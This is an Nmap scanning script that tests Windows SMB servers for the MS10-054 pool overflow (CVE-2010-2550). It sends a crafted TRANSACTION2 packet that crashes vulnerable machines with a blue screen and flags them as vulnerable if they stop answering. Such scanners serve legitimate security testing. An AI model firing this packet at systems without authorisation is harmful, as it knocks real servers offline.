local bin = require "bin"
local msrpc = require "msrpc"
local smb = require "smb"
local string = require "string"
local vulns = require "vulns"
local stdnse = require "stdnse"

description = [[
Checks if target machines are vulnerable to the ms10-054 SMB remote memory 
corruption vulnerability.

The vulnerable machine will crash with BSOD. 

The script requires at least READ access right to a share on a remote machine.
Either with guest credentials or with specified username/password. 

]]

---
-- @usage nmap  -p 445 <target> --script=smb-vuln-ms10-054 --script-args unsafe
--
-- @args unsafe Required to run the script, "safty swich" to prevent running it by accident
-- @args smb-vuln-ms10-054.share Share to connect to (defaults to SharedDocs)
-- @output
-- Host script results:
-- | smb-vuln-ms10-054:
-- |   VULNERABLE:
-- |   SMB remote memory corruption vulnerability
-- |     State: VULNERABLE
-- |     IDs:  CVE:CVE-2010-2550
-- |     Risk factor: HIGH  CVSSv2: 10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)
-- |     Description:
-- |       The SMB Server in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2,
-- |       Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7
-- |       does not properly validate fields in an SMB request, which allows remote attackers
-- |       to execute arbitrary code via a crafted SMB packet, aka "SMB Pool Overflow Vulnerability."
-- |
-- |     Disclosure date: 2010-08-11
-- |     References:
-- |       http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2550
-- |_      http://seclists.org/fulldisclosure/2010/Aug/122

author = "Aleksandar Nikolic"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln","intrusive","dos"}

hostrule = function(host)
	return smb.get_port(host) ~= nil
end

-- stolen from smb.lua as max data count needed to be modified to trigger the crash
local function send_transaction2(smbstate, sub_command, function_parameters)
	local header, parameters, data, command
	local parameter_offset = 0
	local parameter_size   = 0
	local data_offset      = 0
	local data_size        = 0
	local total_word_count, total_data_count, reserved1, parameter_count, parameter_displacement, data_count, data_displacement, setup_count, reserved2
	local response = {}

	-- Header is 0x20 bytes long (not counting NetBIOS header).
	header = smb.smb_encode_header(smbstate, smb.command_codes['SMB_COM_TRANSACTION2'], {}) -- 0x32 = SMB_COM_TRANSACTION2
	
	if(function_parameters) then
		parameter_offset = 0x44
		parameter_size = #function_parameters
		data_offset = #function_parameters + 33 + 32
	end
	
	-- Parameters are 0x20 bytes long. 
	parameters = bin.pack("<SSSSCCSISSSSSCCS",
					parameter_size,                  -- Total parameter count. 
					data_size,                       -- Total data count. 
					0x000a,                          -- Max parameter count.
					0x000a,                          -- Max data count, less than 12 causes a crash
					0x00,                            -- Max setup count.
					0x00,                            -- Reserved.
					0x0000,                          -- Flags (0x0000 = 2-way transaction, don't disconnect TIDs).
					0x00001388,                      -- Timeout (0x00000000 = return immediately).
					0x0000,                          -- Reserved.
					parameter_size,                  -- Parameter bytes.
					parameter_offset,                -- Parameter offset.
					data_size,                       -- Data bytes.
					data_offset,                     -- Data offset.
					0x01,                            -- Setup Count
					0x00,                            -- Reserved
					sub_command                      -- Sub command
	)

	local data = "\0\0\0" .. (function_parameters or '')

	-- Send the transaction request
	stdnse.print_debug(2, "SMB: Sending SMB_COM_TRANSACTION2")
	local result, err = smb.smb_send(smbstate, header, parameters, data, {})
	if(result == false) then
		return false, err
	end

	return true
end

action = function(host,port)
	if not stdnse.get_script_args(SCRIPT_NAME .. '.unsafe') then
		stdnse.print_debug("You must specify unsafe script argument to run this script.")
		return false
	end
	local ms10_054  = {
		title = "SMB remote memory corruption vulnerability",
		IDS = {CVE = 'CVE-2010-2550'},
		risk_factor = "HIGH",
		scores = {
		  CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)",
		},
		description = [[
The SMB Server in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, 
Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7
does not properly validate fields in an SMB request, which allows remote attackers
to execute arbitrary code via a crafted SMB packet, aka "SMB Pool Overflow Vulnerability."
		]],
		references = {
		  'http://seclists.org/fulldisclosure/2010/Aug/122',
		  'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2550'
		},
		dates = {
		  disclosure = {year = '2010', month = '08', day = '11'},
		},
		exploit_results = {},
	}

	local report = vulns.Report:new(SCRIPT_NAME, host, port)
	ms10_054.state = vulns.STATE.NOT_VULN
	
	local share = stdnse.get_script_args(SCRIPT_NAME .. '.share') or "SharedDocs"
	
	local status, smbstate = smb.start_ex(host, true, true, share, nil, nil, nil)
	
	local param = "0501" -- Query FS Attribute Info
	local status, result = send_transaction2(smbstate,0x03,bin.pack("H",param))
	status, result = smb.smb_read(smbstate,true) -- see if we can still talk to the victim 
	if not status then -- if not , it has crashed
		ms10_054.state = vulns.STATE.VULN
	else	
		stdnse.print_debug("Machine is not vulnerable")
	end
	return report:make_output(ms10_054)
end